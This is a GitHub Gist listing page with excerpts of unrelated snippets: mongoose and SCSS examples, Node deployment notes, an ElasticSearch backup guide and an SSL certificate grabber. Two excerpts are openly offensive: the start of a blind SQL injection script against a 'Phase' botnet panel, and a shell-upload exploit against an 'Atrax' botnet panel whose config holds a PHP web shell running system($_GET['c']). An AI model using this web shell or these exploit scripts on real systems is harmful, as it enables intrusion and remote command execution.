Skip to content

Instantly share code, notes, and snippets.

@AlphaGit
AlphaGit / mongo-faceted-example.js
Created January 3, 2015 21:22
mongo-faceted example
var mongoose = require('mongoose');
var mongoFacets = require('../lib/mongo-facets');
var ExampleSchema = new mongoose.Schema({
stringField: String,
numberField: Number,
arrayOfStringsField: [String]
});
mongoFacets('Example', ExampleSchema);
@Xyl2k
Xyl2k / pwn.php
Created December 23, 2014 14:53
Phase botnet blind SQL injection vulnerability
<?php
// Start with PHP CLI (php pwn.php)
set_time_limit(0);
// Adjust this :)
define('SLEEP_TIME', '4');
define('PAGE_TIME', 4);
define('URL', 'http://localhost/Phase/');
echo('attacking ' . URL . PHP_EOL);
@Xyl2k
Xyl2k / Atrax Botnet Shell Upload Vulnerability
Created November 25, 2014 01:53
Atrax Botnet Shell Upload Vulnerability
import random
import string
import base64
import urllib
import urllib2
# <CONFIG>
payload = '<pre><?php if(isset($_GET["c"]))system($_GET["c"]);else echo("No input?");?></pre>'
url = 'http://localhost/atrax/'
# </CONFIG>
a:link {
}
a:visited {
}
a:focus {
@mixin border-radius($radius, $prefixes: -moz -webkit -o) {
@each $prefix in $prefixes {
#{$prefix}-border-radius:$radius;
}
border-radius:$radius;
}
#id {
@include border-radius(5px, -moz -webkit);
@learncodeacademy
learncodeacademy / flightplan-deploy.md
Last active January 7, 2024 11:58
Deploy Node.js Apps with Flightplan

##Setup your server (this would ideally be done with automated provisioning)

  • add a deploy user with password-less ssh see this gist
  • install forever npm install -g forever

##Install flightplan

  • npm install -g flightplan
  • in your project folder npm install flightplan --save-dev
  • create a flightplan.js file
@learncodeacademy
learncodeacademy / deployUser.md
Last active June 7, 2025 21:23
Adding a deploy user in Linux

(wherever it says url.com, use your server's domain or IP)

Login to new server as root, then add a deploy user

sudo useradd --create-home -s /bin/bash deploy
sudo adduser deploy sudo
sudo passwd deploy

And Update the new password

@tncbbthositg
tncbbthositg / flexbox_mixins.scss
Last active August 29, 2015 14:07
Various Flexbox SASS Mixins
@mixin flex($flex-type: flex) {
$flex-type: unquote($flex-type);
@include experimental-value(display, $flex-type, not -moz, -webkit, not -o, -ms, not -khtml, official);
}
@mixin align-items($alignment) {
$alignment: unquote($alignment);
@include experimental(align-items, $alignment, not -moz, -webkit, not -o, -ms, not -khtml, official);
}
@WebPlatformDocs
WebPlatformDocs / ElasticSearch_backup.md
Last active August 29, 2015 14:07
ElasticSearch: Creating snapshot

Based on documentation from ElasticSearch about snapshots

To create backup with ElasticSearch

  1. Create on elasticsearch node a backup folder
    mkdir /srv/webplatform/elastic_backup
    chown -R elasticsearch:elasticsearch /srv/webplatform/elastic_backup
@moranned
moranned / getSSLCert.py
Created September 29, 2014 10:01
grabs SSL Cert from specified Domain/IP
import ssl
import sys
import optparse
import ConfigParser
import OpenSSL
def getCertificate(s):
cert_pem = ssl.get_server_certificate((s, 443))
cert_der = ssl.PEM_cert_to_DER_cert(cert_pem)